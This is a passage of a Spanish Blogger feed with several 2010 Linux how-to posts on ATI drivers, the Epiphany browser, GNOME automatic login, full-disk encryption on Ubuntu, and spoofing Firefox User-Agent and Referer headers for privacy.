Tanto la &lt;b&gt;sincronización vertical&lt;/b&gt; como cualquier aspecto más avanzado como el &lt;b&gt;anti-aliasing&lt;/b&gt; etc...&lt;br /&gt;&lt;br /&gt;Si no os funcionara ese comando, podéis &lt;b&gt;instalar el programa mediante el siguiente comando,&lt;/b&gt; siempre que tengáis una&lt;b&gt; tarjeta ATi compatible&lt;/b&gt; (&lt;b&gt;Modelos superiores a la Radeon 9600&lt;/b&gt;):&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: xx-small;"&gt;&lt;b&gt; &lt;span style="font-size: small;"&gt;sudo apt-get install fglrx-amdcccle&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Una vez hechas las modificaciones, &lt;b&gt;reiniciaremos el servidor Xorg&lt;/b&gt; mediante el comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo /etc/init.d/gdm restart&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Listo, ya estáis disfrutando vuestra tarjeta con su nueva configuración. &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7001528749353838167?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7001528749353838167/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/linux-driver-propietario-ati-y-el.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7001528749353838167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7001528749353838167'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/linux-driver-propietario-ati-y-el.html' title='Linux - Driver propietario ATi y el catalist secreto.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/S2CrvNUWX1I/AAAAAAAAAWA/KOzC8Mj7QQE/s72-c/amdcccle.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-3599585401886906240</id><published>2010-01-29T10:55:00.001+01:00</published><updated>2010-01-29T10:55:00.114+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Xorg'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ATi'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Karmicadas y ATi: Pantalla negra live CD ¿Cómo instalar?</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2CnT9UPVhI/AAAAAAAAAV4/XTq5apVooTQ/s1600-h/atilinux.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2CnT9UPVhI/AAAAAAAAAV4/XTq5apVooTQ/s320/atilinux.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Hace poco hablé de la instalación de &lt;b&gt;Ubuntu con Alterante&lt;/b&gt; en &lt;a href="http://donzeyt.blogspot.com/2010/01/ubuntu-cifrar-el-disco-duro.html"&gt;cómo cifrar tu disco duro&lt;/a&gt;. En realidad tuve que usar la versión Alternate porque me he comprado una &lt;b&gt;tarjeta gráfica nueva ATi&lt;/b&gt;, una &lt;b&gt;RADEON HD 4650&lt;/b&gt; por muy buen precio, aún sabiendo los &lt;b&gt;problemas que tiene ATi con Linux&lt;/b&gt; me atreví a comprarla. El caso, es que &lt;b&gt;al principio funcionó estupendamente&lt;/b&gt; hasta que tuve que &lt;b&gt;formatear&lt;/b&gt; por otras razones. El tema es que a la hora de formatear &lt;b&gt;no funcionaba correctamente la pantalla en el Live CD&lt;/b&gt; por lo que &lt;b&gt;no podía instalarlo&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;En cualquier caso, &lt;b&gt;Ubuntu no puede conmigo&lt;/b&gt; y &lt;b&gt;usé la versión Alternate&lt;/b&gt;. Una vez instalado, &lt;b&gt;al llegar a la pantalla de login&lt;/b&gt;, &lt;b&gt;me encontré con que la pantalla se quedaba en negro de nuevo&lt;/b&gt;. Por ello mismo, pulsé &lt;b&gt;control&amp;nbsp; + alt&amp;nbsp; + f1&lt;/b&gt; y en el terminal, &lt;b&gt;inicie sesión&lt;/b&gt; y me puse a arreglar mis problemas.&lt;br /&gt;&lt;br /&gt;Una vez iniciada la sesión, &lt;b&gt;instalé el driver propietario&lt;/b&gt; para probar mediante los siguientes comandos:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;sudo apt-get remove --purge xserver-xorg-video-radeon&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo apt-get remove --purge fglrx-kernel-source&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;sudo apt-get install fglrx-amdcccle fglrx-kernel-source xorg-driver-fglrx xorg-driver-&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;fglrx-dev&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;sudo aticonfig --initial&lt;/span&gt;&lt;/b&gt; &lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;Una vez instalado, &lt;b&gt;reinicié el ordenador&lt;/b&gt; mediante el siguiente comando:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo reboot&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;Tras reiniciar todo volvió al a normalidad, aunque es una penausar el driver propietario cuando los nuevos experimentales rindenhasta 3 veces más. En cualquier caso ya hablaremos de estos drivers. &lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-3599585401886906240?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/3599585401886906240/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/karmicadas-y-ati-pantalla-negra-live-cd_29.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3599585401886906240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/3599585401886906240'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/karmicadas-y-ati-pantalla-negra-live-cd_29.html' title='Karmicadas y ATi: Pantalla negra live CD ¿Cómo instalar?'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/S2CnT9UPVhI/AAAAAAAAAV4/XTq5apVooTQ/s72-c/atilinux.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-8370269532257272473</id><published>2010-01-29T10:17:00.000+01:00</published><updated>2010-01-29T10:17:01.066+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNOME'/><category scheme='http://www.blogger.com/atom/ns#' term='Alternativas'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='Epiphany'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Epiphany - Alternativa a FireFox</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S2Cvk1iqUJI/AAAAAAAAAWI/uQ8dEE1jTSI/s1600-h/epiphany.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S2Cvk1iqUJI/AAAAAAAAAWI/uQ8dEE1jTSI/s320/epiphany.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;Firefox&lt;/b&gt; es un gran &lt;b&gt;navegador&lt;/b&gt; aunque con el tiempo se está volviendo &lt;b&gt;pesado&lt;/b&gt; en cuanto a recursos. Además sus &lt;b&gt;tiempos de inicio&lt;/b&gt; han aumentado considerablemente por lo que no está de más &lt;b&gt;buscarse e instalarse una alternativa&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;En este caso &lt;b&gt;Epiphany&lt;/b&gt;, un &lt;b&gt;navegador&lt;/b&gt; del &lt;b&gt;proyecto GNOME&lt;/b&gt; &lt;b&gt;rápido y sencillo&lt;/b&gt;. No posee demasiados &lt;b&gt;parámetros de configuración&lt;/b&gt; pero es &lt;b&gt;útil usarlo para navegar por internet&lt;/b&gt; cuando necesitas más de un navegador para jugar con los proxys, o simplemente si tienes &lt;b&gt;prisa&lt;/b&gt; y &lt;b&gt;sabes que ese no va a fallar&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;instalarlo&lt;/b&gt; es tan &lt;b&gt;sencillo&lt;/b&gt; como &lt;b&gt;ejecutar&lt;/b&gt; un &lt;b&gt;terminal&lt;/b&gt; e instalar:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install epiphany epiphany-browser&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado, &lt;b&gt;lo podremos encontrar &lt;/b&gt;en &lt;b&gt;Aplicaciones &amp;gt; Internet&amp;nbsp; Navegador Web Epiphany&lt;/b&gt;. Si lo ejecutamos podremos ver como es &lt;b&gt;sencillo&lt;/b&gt;, &lt;b&gt;rápido&lt;/b&gt; y sobre todo &lt;b&gt;consume muy pocos recursos&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Recomiendo&lt;/b&gt; su &lt;b&gt;instalación&lt;/b&gt; porque nunca viene de más &lt;b&gt;tener dos navegadores&lt;/b&gt; aunque quizá a este &lt;b&gt;le falten complementos&lt;/b&gt; y &lt;b&gt;mejor renderizado de HTML&lt;/b&gt;. En cualquier caso este es el más apto bajo mi punto de vista para &lt;b&gt;GNOME&lt;/b&gt;.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-8370269532257272473?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/8370269532257272473/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/epiphany-alternativa-firefox.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8370269532257272473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8370269532257272473'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/epiphany-alternativa-firefox.html' title='Epiphany - Alternativa a FireFox'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S2Cvk1iqUJI/AAAAAAAAAWI/uQ8dEE1jTSI/s72-c/epiphany.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-6459497194698273106</id><published>2010-01-28T10:00:00.003+01:00</published><updated>2010-01-28T14:10:36.230+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNOME'/><category scheme='http://www.blogger.com/atom/ns#' term='Sesiones'/><title type='text'>GNOME - Iniciar sesión sin pedir contraseña</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S2Ckno8e8mI/AAAAAAAAAVw/dSJ-6H1RQEQ/s1600-h/full-gdm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S2Ckno8e8mI/AAAAAAAAAVw/dSJ-6H1RQEQ/s320/full-gdm.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;No escribir la contraseña para iniciar sesión&lt;/b&gt; es a veces &lt;b&gt;útil&lt;/b&gt; para &lt;b&gt;usuarios que comparten ordenadores&lt;/b&gt; y no quieren diferenciar cuentas, o simplemente &lt;b&gt;usuarios vagos&lt;/b&gt; que no les apetece escribirla. Si te encuentras entre este grupo, o simplemente lo prefieres así, &lt;b&gt;se puede iniciar sesión automáticamente&lt;/b&gt; de &lt;b&gt;manera muy sencilla&lt;/b&gt;. Para ello sólo tendréis que ir a:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Sistema -&amp;gt; Administración -&amp;gt; Pantalla de acceso&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Una vez aquí &lt;b&gt;pulsaremos sobre desbloquear&lt;/b&gt;, &lt;b&gt;introduciremos la contraseña&lt;/b&gt; y &lt;b&gt;escogeremos acceder automáticamente&lt;/b&gt; con &lt;b&gt;nuestro nombre de usuario&lt;/b&gt;. Aceptaremos y listo. Ya no volverá a pedirnos contraseña para iniciar sesión.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-6459497194698273106?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/6459497194698273106/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/gmnome-iniciar-sesion-sin-pedir.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6459497194698273106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6459497194698273106'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/gmnome-iniciar-sesion-sin-pedir.html' title='GNOME - Iniciar sesión sin pedir contraseña'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S2Ckno8e8mI/AAAAAAAAAVw/dSJ-6H1RQEQ/s72-c/full-gdm.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7253059405107821850</id><published>2010-01-27T20:23:00.001+01:00</published><updated>2010-01-27T20:35:47.421+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cifrado'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Instalación'/><title type='text'>Ubuntu - Cifrar el disco duro</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S2CQWMJ8S4I/AAAAAAAAAVY/uZ3qpKBxWEo/s1600-h/chp_lock_binary.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S2CQWMJ8S4I/AAAAAAAAAVY/uZ3qpKBxWEo/s320/chp_lock_binary.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Siempre he comentado que hablaría de &lt;b&gt;como cifrar el disco duro entero&lt;/b&gt; en Ubuntu. Lo que pasa es que me ha dado pereza porque yo a diferencia de otros muchos, pruebo las cosas antes de escribir sobre ellas. Por ello mismo y debido a un fallo grave que ha tenido mi sistema al realizar un cambio de políticas en la escritura de caché, he tenido que formatear, lo mío es jugar con fuego... xD.&lt;br /&gt;&lt;br /&gt;Antes de seguir, te &lt;b&gt;recomiendo&lt;/b&gt; que &lt;b&gt;cifres tus datos&lt;/b&gt;, si realmente tienes &lt;b&gt;algo importante&lt;/b&gt; en tu &lt;b&gt;estación fija&lt;/b&gt; o &lt;b&gt;usas un portátil&lt;/b&gt;, en un portátil todo debería estar cifrado.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2CVcZOdUDI/AAAAAAAAAVo/a54s-sRfFzE/s1600-h/cifrado.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2CVcZOdUDI/AAAAAAAAAVo/a54s-sRfFzE/s320/cifrado.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;* Ejemplo de mi disco duro cifrado&lt;/b&gt;&lt;br /&gt;&lt;/span&gt; &lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;En cualquier caso, ya tengo mi &lt;b&gt;unidad de disco entera cifrada&lt;/b&gt; y la verdad que queda muy bien en Ubuntu. Lo primero de todo que tienes que saber, es que &lt;b&gt;hay dos métodos&lt;/b&gt;, uno &lt;b&gt;sin formatear&lt;/b&gt; y otro &lt;b&gt;formateando&lt;/b&gt;. El método sin formatear es el siguiente: creas una partición la cifras, metes los datos, borras la otra, y expandes la unidad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Como el primer método es bastante enrevesado, explicaré &lt;b&gt;como instalar Ubuntu totalmente cifrado con crypto y LVM&lt;/b&gt;. Para ello &lt;b&gt;emplearemos&lt;/b&gt; un &lt;b&gt;CD&lt;/b&gt; con &lt;b&gt;Ubuntu Karmic Alternate&lt;/b&gt;, o la última versión que exista ahora. La &lt;b&gt;versión alternate&lt;/b&gt;, es una versión &lt;b&gt;sin Live CD&lt;/b&gt; y que además &lt;b&gt;no posee instalador gráfico&lt;/b&gt;, es todo en &lt;b&gt;consola guiada&lt;/b&gt; pero &lt;b&gt;no os preocupéis&lt;/b&gt; porque &lt;b&gt;no hay que escribir ni un sólo comando&lt;/b&gt;. Además, &lt;b&gt;la instalación tarda la mitad&lt;/b&gt; ya que te saltas pasos bastante pesados.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2CQfdLx8PI/AAAAAAAAAVg/EdvmQc5vKbs/s1600-h/ubuntu+alternate+9.10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2CQfdLx8PI/AAAAAAAAAVg/EdvmQc5vKbs/s320/ubuntu+alternate+9.10.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;bajarse la versión Alternate&lt;/b&gt;, hay que ir a la &lt;a href="http://www.ubuntu.com/getubuntu/downloadmirrors#alternate"&gt;página de descargas de Ubuntu Alternate&lt;/a&gt;. Una vez aquí, &lt;b&gt;pulsaremos sobre los mirrors de descarga&lt;/b&gt; de Ubuntu, yo siempre escojo &lt;b&gt;Francia&lt;/b&gt; porque la experiencia me dice que la &lt;b&gt;velocidad es mayor&lt;/b&gt;. En este caso &lt;b&gt;suelo escoger OVH&lt;/b&gt; que es un ISP y que además tiene una &lt;b&gt;web fácilmente usable&lt;/b&gt;. Vamos a &lt;a href="http://mirror.ovh.net/ubuntu-releases/"&gt;su página &lt;/a&gt;y &lt;b&gt;escogemos la última versión&lt;/b&gt;, en este caso Karmic Koala y buscamos &lt;b&gt;Alternate install CD&lt;/b&gt;. Una vez aquí &lt;b&gt;escogeremos nuestra arquitectura&lt;/b&gt; 32 bits (i386) o 64&amp;nbsp; bits.&lt;br /&gt;&lt;br /&gt;Una vez &lt;b&gt;descargada la imagen&lt;/b&gt;, la &lt;b&gt;grabaremos en un CD&lt;/b&gt; con brasero, &lt;b&gt;reiniciaremos&lt;/b&gt;, &lt;b&gt;meteremos el CD&lt;/b&gt; y &lt;b&gt;comenzaremos la instalación&lt;/b&gt; mediante un asistente. Llegaremos a la &lt;b&gt;parte de las particiones&lt;/b&gt; y &lt;b&gt;escogeremos Guiado&lt;/b&gt;, &lt;b&gt;usar todo el disco y cifrarlo mediante LVM&lt;/b&gt;. No os preocupéis porque usara Ext4 y Ext2 par la instalación de GRUB (lo único que queda sin cifrar).&lt;br /&gt;&lt;br /&gt;Una vez formateado, &lt;b&gt;seguiremos las opciones&lt;/b&gt; y &lt;b&gt;NO cifraremos nuestra carpeta personal &lt;/b&gt;porque &lt;b&gt;sería redundante&lt;/b&gt;. Después de esto, &lt;b&gt;terminaremos la instalación&lt;/b&gt; y todo volverá a la normalidad, aunque ahora, &lt;b&gt;después de GRUB, nos pedirá una contraseña&lt;/b&gt; para poder iniciarse, haciendo de rebote, ser &lt;b&gt;útil usar el auto-inicio de sesión en GNOME&lt;/b&gt; que explicaremos en el futuro.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7253059405107821850?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7253059405107821850/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ubuntu-cifrar-el-disco-duro.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7253059405107821850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7253059405107821850'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ubuntu-cifrar-el-disco-duro.html' title='Ubuntu - Cifrar el disco duro'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S2CQWMJ8S4I/AAAAAAAAAVY/uZ3qpKBxWEo/s72-c/chp_lock_binary.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7530212607808480155</id><published>2010-01-26T12:24:00.004+01:00</published><updated>2010-01-26T12:44:17.273+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Privacidad'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Privacidad: Firefox - Modificar Cabeceras (User Agent y Referer)</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S17PEOut5UI/AAAAAAAAAVQ/PUDaOmV4FAc/s1600-h/big-brother-poster.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S17PEOut5UI/AAAAAAAAAVQ/PUDaOmV4FAc/s320/big-brother-poster.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Hace poco hablamos sobre&lt;b&gt; PHP&lt;/b&gt; y &lt;b&gt;GD&lt;/b&gt; y pusimos el típico &lt;b&gt;ejemplo&lt;/b&gt; de la &lt;b&gt;imagen&lt;/b&gt; que &lt;b&gt;muestra&lt;/b&gt; tu &lt;b&gt;IP&lt;/b&gt; y tu Sistema Operativo. A petición de uno de nuestros lectores, haremos que la &lt;b&gt;información&lt;/b&gt; que demos sea menor y no pueda ser empleada.&lt;br /&gt;&lt;br /&gt;Un ejemplo bastante básico, es este &lt;b&gt;blog&lt;/b&gt;, que tiene un &lt;b&gt;sistema&lt;/b&gt; de &lt;b&gt;tracking&lt;/b&gt; o &lt;b&gt;seguimiento&lt;/b&gt; de &lt;b&gt;visitas&lt;/b&gt;, gracias al cual se puede saber el &lt;b&gt;país&lt;/b&gt; de &lt;b&gt;procedencia&lt;/b&gt;, &lt;b&gt;cómo&lt;/b&gt; &lt;b&gt;vinieron&lt;/b&gt;, cuánto &lt;b&gt;tiempo&lt;/b&gt; estuvieron y una larga lista de datos referentes al visitante del blog.&lt;br /&gt;&lt;br /&gt;En principio no debería causar ningún problema pero hablaremos de cómo poder modificar esta información. Para ello, hoy modificaremos las cabeceras de nuestro navegador Firefox para mentir en nuestro sistema operativo y además mentir en nuestro Referer, o sitio del cual entramos a la visita.&lt;br /&gt;&lt;br /&gt;En cualquier caso, como dije anteriormente, y es justo decirlo, &lt;b&gt;emplearemos&lt;/b&gt; la &lt;b&gt;imagen&lt;/b&gt; que creamos en &lt;b&gt;PHP y GD&lt;/b&gt;, pero como seguro que muy pocos lo hicisteis, &lt;b&gt;usaremos&lt;/b&gt; un &lt;b&gt;servicio&lt;/b&gt; &lt;b&gt;web&lt;/b&gt; popular que las emplea, &lt;a href="http://www.danasoft.com/customsig.php"&gt;danasoft.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Como veréis al &lt;b&gt;entrar&lt;/b&gt; en esa &lt;b&gt;web&lt;/b&gt;, el &lt;b&gt;pingüino&lt;/b&gt; nos &lt;b&gt;mostrará&lt;/b&gt; bastante &lt;b&gt;información&lt;/b&gt; que ni si quiera sabíamos que dábamos al entrar en un sitio.&lt;br /&gt;Para &lt;b&gt;acabar&lt;/b&gt; con ese &lt;b&gt;sabelotodo&lt;/b&gt;, o por lo menos, &lt;b&gt;ponérselo&lt;/b&gt; &lt;b&gt;difícil&lt;/b&gt;, usaremos el &lt;b&gt;addon&lt;/b&gt;, o añadido de &lt;b&gt;FireFox&lt;/b&gt; llamado &lt;a href="https://addons.mozilla.org/es-ES/firefox/addon/967"&gt;Modify Headers&lt;/a&gt; que &lt;b&gt;instalaremos&lt;/b&gt; en el enlace que dí anteriormente.&lt;br /&gt;&lt;br /&gt;Una vez &lt;b&gt;añadido&lt;/b&gt;, &lt;b&gt;reiniciaremos&lt;/b&gt; el &lt;b&gt;navegador&lt;/b&gt;, y nos iremos a &lt;b&gt;Herramientas &amp;gt; Modify Headers&lt;/b&gt;. Aquí, se nos abrirá una pestaña en la que pondremos lo siguiente:&lt;br /&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;Modify | user-agent | ¿Esta no te la esperabas eh?&lt;br /&gt;Modify | Referer | http://fannarh.blog.is/users/c5/fannarh/img/nazi_bill_gates.jpg&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;Casi hemos acabado, ahora en las &lt;b&gt;opiones&lt;/b&gt;, &lt;b&gt;activaremos&lt;/b&gt; las &lt;b&gt;dos casillas&lt;/b&gt; y &lt;b&gt;quedará&lt;/b&gt; algo &lt;b&gt;parecido&lt;/b&gt; a esto:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a 